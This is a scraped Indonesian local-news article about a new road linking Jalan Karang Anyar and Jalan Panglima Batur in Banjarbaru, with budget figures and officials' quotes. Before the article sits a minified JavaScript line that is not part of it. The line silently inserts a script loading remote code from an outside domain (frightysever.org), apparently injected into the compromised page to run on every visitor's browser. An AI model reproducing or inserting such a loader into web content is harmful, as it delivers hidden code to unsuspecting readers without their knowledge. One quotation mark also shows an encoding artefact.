(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Wakil Walikota Banjarbaru H Darmawan Jaya Setiawan meninjau beberapa proyek pembangunan yang dilaksanakan oleh Pemerintah Kota (Pemko) Banjarbaru, Selasa (26/11).
Didampingi oleh pejabat SKPD terkait, rombongan berangkat dari Balai Kota meninjau ke proyek pembangunan jalan alternatif yang menghubungkan langsung jalan Karang Anyar dan Jalan Panglima Batur yang berlokasi di samping Kantor PLN Kalselteng.
Dari pantuan di lapangan, jalan sepanjang 555 meter dengan lebar badan jalan 9 meter tersebut sudah teraspal semua. Bahkan, saluran pembuangan airnya pun sudah selesai.
Kabid Bina Marga Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Banjarbaru, Eka Yuliesda, mengatakan pembangunan jalan tersebut telah mencapai diatas 90 persen. Dirinya, menerangkan saat ini yang tersisa hanya pekerjaan-pekerjaan kecil saja.
“Tinggal beberapa bagian trotoar di rumah-rumah warga yang saat ini kita kerjakan. Sisanya sudah rampung. Jadi, tinggal dirapikan sedikit saja,” katanya.
Terkait nama jalan dan kapan akan diresmikannya, Eka mengaku belum dapat menjawab hal tersebut. Dirinya juga sampai saat ini masih menunggu arahan dan keputusan dari Walikota Banjarbaru Nadjmi Adhani. Apalagi, proses serah terima akhir pekerjaan dari kontraktor kepada Pemko Banjarbaru juga belum dilakukan.
“Penyerahterimaan oleh kontraktor direncanakan akhir November ini. Kalau diliat dari lapangan, sudah siap dan tidak ada masalah untuk diserah terimakan. Tapi kalau untuk langsung digunakan masyarakat, sepertinya perlu ada sosialisasi dulu,” tegas Kabid Bina Marga.
Baca juga : Jalan Baru Tembus Panglima Batur-Karang Anyar Rampung November
Pembangunan jalan penghubungan jalan Karang Anyar tembus ke jalan Panglima Batur ini, telah dikerjakan sejak Juli lalu. Proyek ini menelan anggaran sebesar Rp 6,1 miliar.
Adapun rinciannya, pergantian pagar dan rumah dinas PLN menelan total biaya sebesar Rp 2,2 miliar. Selanjutnya untuk anggaran pembangunan jalan pada tahun anggaran 2018 sekitar Rp 600 juta dan untuk tahun anggaran 2019 sebesar Rp 3,3 miliar, sehingga total anggaran pembangunan jalan baru tersebut sebesar Rp 3,9 miliar.
Sebelumnya, Walikota Banjarbaru Nadjmi Adhani menjelaskan bahwa dibangunnya jalan baru ini guna mengurai kemacetan yang selama ini kerap sekali terjadi di kawasan jalan Karang Anyar, jalan Barjad, dan sekitarnya.
Selain itu, orang nomor satu di kota Banjarbaru tersebut berkinginan untuk memperlebar seluruh akses jalan di wilayah kota Banjarbaru agar dapat dilalui dengan lancar. Apalagi, menurutnya, Bandara Syamsudin Noor akan segera menjelma menjadi Bandara Internasional.
“Hal ini tentunya akan meningkatkan mobilitas warga, termasuk masyarakat dari luar kota. Kita mengantisipasi dengan menyiapkan infrastruktur pendukung, termasuk infrastruktur jalan ini yang Insya Allah dalam waktu dekat segera bisa dimanfaatkan,†tandas Nadjmi. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.